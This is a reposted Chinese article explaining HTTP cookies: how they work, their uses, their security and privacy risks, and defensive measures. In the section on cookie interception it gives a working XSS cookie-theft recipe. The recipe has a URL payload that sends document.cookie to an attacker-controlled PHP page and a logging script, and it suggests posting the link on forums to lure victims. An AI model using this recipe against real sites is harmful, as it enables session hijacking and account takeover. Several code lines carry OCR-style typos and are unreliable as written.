首页 > 代码库 > 【转】深入解析cookie
【转】深入解析cookie
来源:http://www.freebuf.com/articles/web/42802.html
写的超级详细,mark下,刚好学习爬虫的时候,有用到cookie模仿登录的,就顺便了解下。
0×00 引言
在Web技术的发展史上,Cookie技术的出现是一次重大的 变革。但是, Cookie技术又是一项非常有争议的技术,从它诞生之日起就成了广大网络用户和Web开发人员的一个争论焦点,原因不是Cookie的功能太弱,而是认为Cookie的使用会对网络用户的隐私信息构成危害。
Cookie技术最先被Netscape公司引入到Navigator浏览器中。之后,WoridWideWeb协会支持并采纳了Cookie标准,微软也在InternetExpiorer浏览器中使用了Cookie。现在,绝大多数浏览器都支持Cookie,或者至少兼容Cookie技术的使用。目前,几乎所有的网站设计者都使用了Cookie技术。Cookie的广泛使用导致了人们对个人信息安全的担忧。有的网站和机构滥用Cookie,未经访问者的许可就搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户隐私信息的泄露。
有鉴于此,系统研究Cookie的技术特性及其存在的安全问题,研究防范Cookie泄露用户隐私信息的措施,不仅能使个人信息的安全得到保障,而且能更安全地利用Cookie技术服务于互联网应用。
0×01 Cookie技术分析
1.1 Cookie定义及其功能
按照Netscape官方文档中的定义,Cookie是指在HTTP协议下,服务器或脚本可以维护客户端计算机上信息的一种方式 。通俗地说,Cookie是一种能够让网站Web服务器把少量数据储存到客户端的硬盘或内存里,或是从客户端的硬盘里读取数据的一种技术。 Cookie文件则是指在浏览某个网站时,由Web服务器的CGI脚本创建的存储在浏览器客户端计算机上的一个小文本文件,其格式为:用户名@网站地址 [数字].txt。
Cookie文件记录了用户的有关信息,如身份识别号码ID、密码、浏览过的网页、停留的时间、用户在Web站点购物的方式或用户访问该站点的次数等,当用户再次链接Web服务器时,浏览器读取Cookie信息并传递给Web站点。
Cookie文件信息片断以“名/值”对(name-vaiuepairs)的形式储存,一个“名/值”对仅仅是一条命名的数据。例如,访问 www.goto.com网站,则该站点可能会在客户端电脑上产生一个包含以下内容的Cookie文件:UserIDA9A3BECE0563982Dwww.goto.com/。goto.com在电脑上存入了一个单一的“名/值”对,其中的“名”是UserID,“值”是A9A3BECE0563982D。
Cookie文件的存放位置与操作系统和浏览器密切相关,这些文件在Windows机器里叫做Cookie文件,在Macintosh机器里叫做MagicCookie文件。对Windows和IE浏览器而言,Cookies文件的存放位置为:
Win9X操作系统:C:\Windows\Cookies;Winme操作系统:C:\Windows\profiies\用户名\Cookies;Win2K操作系统:C:\Windows\Cookies;WinXP操作系统:C:\DocumentsandSet-tings\用户名\Cookies。Win7以上操作系统:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
Cookie的主要功能是实现用户个人信息的记录,它最根本的用途是帮助Web站点保存有关访问者的信息。更概括地说,Cookie是一种保持Web应用程序连续性(即执行状态管理)的方法。
HTTP协议是一种无状态、无连接的协议,不能在服务器上保持一次会话的连续状态信息。随着WWW的不断发展,HTTP的无状态性不能满足某些应用的需求,给Web服务器和客户端的操作带来种种不便。在此背景下,提出HTTP的状态管理机制———Cookie机制,它是对HTTP协议的一种补充,以保持服务器和客户端的连续状态。
1.2 Cookie基本工作原理
Cookie使用HTTPHeader传递数据。Cookie机制定义了两种报头:Set-Cookie报头和Cookie报头。Set-Cookie报头包含于Web服务器的响应头(ResponseHeader)中,Cookie报头包含在浏览器客户端请求头(ReguestHeader)中。
Cookie的运行过程如图所示,具体分析如下
Cookie的运行过程图
(1)客户端在浏览器的地址栏中键入Web服务器的URL,浏览器发送读取网页的请求。
(2)服务器接收到请求后,产生一个Set-Cookie报头,放在HTTP报文中一起回传客户端,发起一次会话。
(3)客户端收到应答后,若要继续该次会话,则将Set-Cook-ie中的内容取出,形成一个Cookie.txt文件储存在客户端计算机里。
(4)当客户端再次向服务器发出请求时,浏览器先在电脑里寻找对应该网站的Cookie.txt文件。如果找到,则根据此Cookie.txt产生Cookie报头,放在HTTP请求报文中发给服务器。
(5)服务器接收到包含Cookie报头的请求,检索其Cookie中与用户有关的信息,生成一个客户端所请示的页面应答传递给客户端。 浏览器的每一次网页请求,都可以传递已存在的Cookie文件,例如,浏览器的打开或刷新网页操作。
0×02 Cookie应用
(1)实现Web中的用户认证
HTTP协议一个很大的缺点就是不作用户身份的判断,这 给编程人员带来很大的不便,而Cookie弥补了这个缺陷。大多数站点在进行用户身份认证时都采用Cookie机制,使用户在通过第一次身份认证以后,无需再多次输入其用户帐号、口令密码等,这样能省去用户登录的繁琐。
(2)定制个性化空间
Cookie技术方便Web站点为不同用户订制信息,给用户提供个性化、更友好的浏览环境,并能更加准确地收集访问者的信息。例如,为用户提供改变网页内容、布局和颜色的权力,允许用户输入自己的信息,然后通过这些信息对网站的一些参数进行修改,以订制网页的外观。
另外,由于费用、带宽限制等原因,用户访问一个站点时并不希望浏览网页所有的内容。利用Cookie技术根据个人喜好设定栏目,动态地产生用户所需要的内容,这样能够迎合不同层次用户的访问兴趣,减少用户项目选择的次数,更加合理地利用Web服务器的传输带宽。
(3)网站访问统计
由于代理服务器、缓存等的使用,使得能帮助网站精确统计来访人数的方法只能是为每个访问者建立一个唯一的ID。使用Cookie,网站可以完成以下工作:测定多少人访问过;测定访问者中有多少是新用户、多少是老用户;测定一个用户多久访问一次网站。
基本方法是:借助于后台数据库,在用户第一次访问该网站时,网站在数据库中建立一个新的ID,并把ID通过Cookie传送给用户。用户再次来访时,网站把该用户ID对应的计数器加1,得到用户的来访次数或判断用户是新用户还是老用户。
下面设计一段用ASP编写的利用Cookie计数的程序,它具有对用户访问该页面进行计数的功能:
<%@LANGUAGE=JScript%><%Varcount=""; count=Reguest.Cookies("countnumber");count=(parseInt(count,l0)+l).toString();Response.Cookies("countnumber")=count;%>
(4)维护在线电子商务客户信息
在线订购商务中使用Cookie技术,可记载用户想购买的物品。用户往“购物车”里投放商品,网站便在数据库中用户的ID记录里记录下来。当用户“买单”时,网站通过ID检索数据库中用户的所有选择就知道“购物车”里的物品项目。Cookie能简化订购中的操作,使网上购物更接近现实生活。
(5)记录站点轨迹
再次访问同一网站时Cookie具有被读回的特性。利用这一特性来实现很多的设计功能,如显示用户访问该网页的次数;显示用户上一次的访问时间;记录用户以前在本页中所做的选择等,这可以免去研究复杂的CGI编程。
0×03 Cookie的安全性问题
Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作“拒绝服务”攻击手段。
但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。
(1)Cookie欺骗
Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。
Cookie截获的手段有以下一些。
(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。 步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“<Al>”(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中“<Al>”更换为:
“<script>alert(document.cookie)</script>”再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open (“http://www.cbifamily.org/cbi.php?”%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是“%2b”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。
步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:
<?php $info=getenv("OUERY_STRING"); if($info){ $fp=fopen("info.tXt","a"); fwrite($fp,!info."\n"); fclose($fp);} header("Location:http://www.XXX.net");?>
将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。
Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。
0×04 防范Cookie泄密的安全措施
面对Cookie的安全问题,如何才能安全地应用Cookie呢?
(1)加强安全防范意识
Cookie相对来说是无害的,但它能用于跟踪用户,使用Cookie必须意识到其固有的安全弱点。
保存在Cookie中的内容,完全有可能是用户的私人数据。例如,网站为了方便用户,利用Cookie来保存会员的注册信息:电子邮件地址、网站的用户名、用户密码、信用卡号码等,以便用户以后登录该网站时不用重新输入这些数据。如果有人盗取了这样的Cookie文件,他就可以冒充登录网站,这将对用户的个人信息安全构成不可预测的威胁。
因此,只在Cookie中保存一些不重要的数据,如用户首选项或其它对应用程序没有重大影响的信息。如果确实需要在Cook-ie中保存某些敏感信息,就要对其加密,以防被他人盗用。可以对Cookie的属性进行设置, 使其只能在使用安全套接字层(SSL)的连接上传输。SSL并不能防止保存在用户计算机上的Cookie被他人读取或操作,但能防止Cookie在传输途中被他人截获。
(2)配置安全的浏览器
IE和Netscape浏览器的工具栏里,都有禁止Cookie的设置选项,都可以设置当某个站点要在用户的计算机上创建Cookie时,是否给出提示。这样用户就可以选择允许或拒绝创建Cook-ie。需要注意的是,某些网站的应用必须使用Cookie,简单地禁止可能导致无法正常浏览此类网站。
使用IE6会更安全。最新的IE6提供了多种隐私保护功能,包括:查看网站的P3P隐私策略,以了解该网站如何使用个人可识别信息;通过Cookie隐私设置决定是否允许将网站的Cookie保存在计算机上;在访问不符合隐私设置条件的站点时发出隐私警报。用户可以有选择性地设置Cookie。
(3)安装Cookie管理工具
①CookieCrusher。LimitSoftware公司的Crusher适用于Netscape用户,其功能有:管理计算机上已有的Cookie、设置禁止或允许创建Cookie的网站列表、在创建新Cookie与修改已经存在的Cookie时发出警告、禁止第三方网站Cookie、实时控制接受或拒绝来自站点的Cookie、记录Cookie活动日志、编辑Cookie等,并且在网上浏览时,程序独创的分析功能可以自动确定网站要求创建的Cookie的目的,如:判断网站是把Cookie用于存储用户输入的资料还是准备利用Cookie跟踪用户的浏览习惯等。
②CookiePaI。除了浏览器能使用Cookie, 其它的互联网软件也可能使用,如邮件程序等。为了维护网络隐私的安全,同时又能保证一些互联网软件正确地使用Cookie文件,可以安装Kooka-burraSoftware公司的支持多种软件的Cookie管理工具CookiePaI。它专门用于Cookie管理,支持用户查看、删除、编辑已经存在的Cookie,自动地实时控制是否接受Cookie,根据过期时间过滤Cookie,它还能够记录Cookie的活动,编辑拒绝或允许Cookie的网站列表。
(4)删除内存中的Cookies
Cookie的信息并不都是以文件形式存放在硬盘中,还有部分信息保存在内存里。这类Cookie通常是用户在访问某些特殊网站时,由系统自动在内存中生成的。一旦访问者离开该网站,系统又自动将Cookie从内存中删除。对此,需要借助注册表编辑器来修改系统设置,运行Regedit,找到如下键值:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-rentversion\InternetSettings\Cache\SpeciaIPaths\Cookies,这是Cookies在内存中的键值,把这个键值删除。右键单击“Cook-ies”,再单击快捷菜单中的“删除”命令确认删除。
(5)使用AAS技术
2002年,美国IngrianNetworks公司发表了可以使Web站点 免受“CookiePoisoning(Cookie篡改)”攻击的平台“ActiveAppIi-cationSecurity(AAS)”。AAS平台能对Cookie内部的重要信息进行加密处理,并附上电子签名。Web服务器每次和客户端进行通信时,将利用电子签名对Cookie的内容进行确认。如果恶意用户删除了电子签名或者更改了信息内容,将会使电子签名和Cookie的内容无法再匹配。这时,AAS便会阻止这条Cookie并拒绝向Web站点返回信息。另外,该平台还对Cookie内容进行了3DES加密,解密需要口令,通过这种方法安全地保存Cookie。WWW服务器和客户端之间的通信还全部利用了SSL连接方式,以确保通信路由的安全。通过综合运用电子签名、加密、SSL连接等技术组成强效的安全方案,可以排除通信路由及数据存储两方面存在的脆弱性,杜绝对Cookie的篡改。
0×05 结束语
Cookie是Web服务器发送的存储在客户端系统中以备未来查询的少量信息。Cookie的主要目的是保存信息,主要用途是存储用户的标志和密码,另外还可以存储用户所有可能设置的偏好。从编程的角度来看,Cookie可用于解决状态管理问题。
事实上,信息若不与个人信息相联系,Cookie相对来说是无害的。然而,Cookie能用于跟踪用户,存在Cookie欺骗、泄露隐私等安全性问题,会对网络用户的信息安全构成威胁。
加强防范意识,了解Cookie固有的安全弱点;配置安全的浏览器;使用Cookie管理工具;利用电子签名、加密、SSL连接等技术对Cookie数据进行加密处理传输,这些措施能有效地防止Cookie泄露用户隐私,保障个人信息安全,从而使Cookie能够更安全地服务于Web应用。
尽管Cookie技术存在争议,但它不会消亡,需要研究更好的安全技术对其完善和发展。Cookie技术未来将拥有更大的生存和发展空间。
【转】深入解析cookie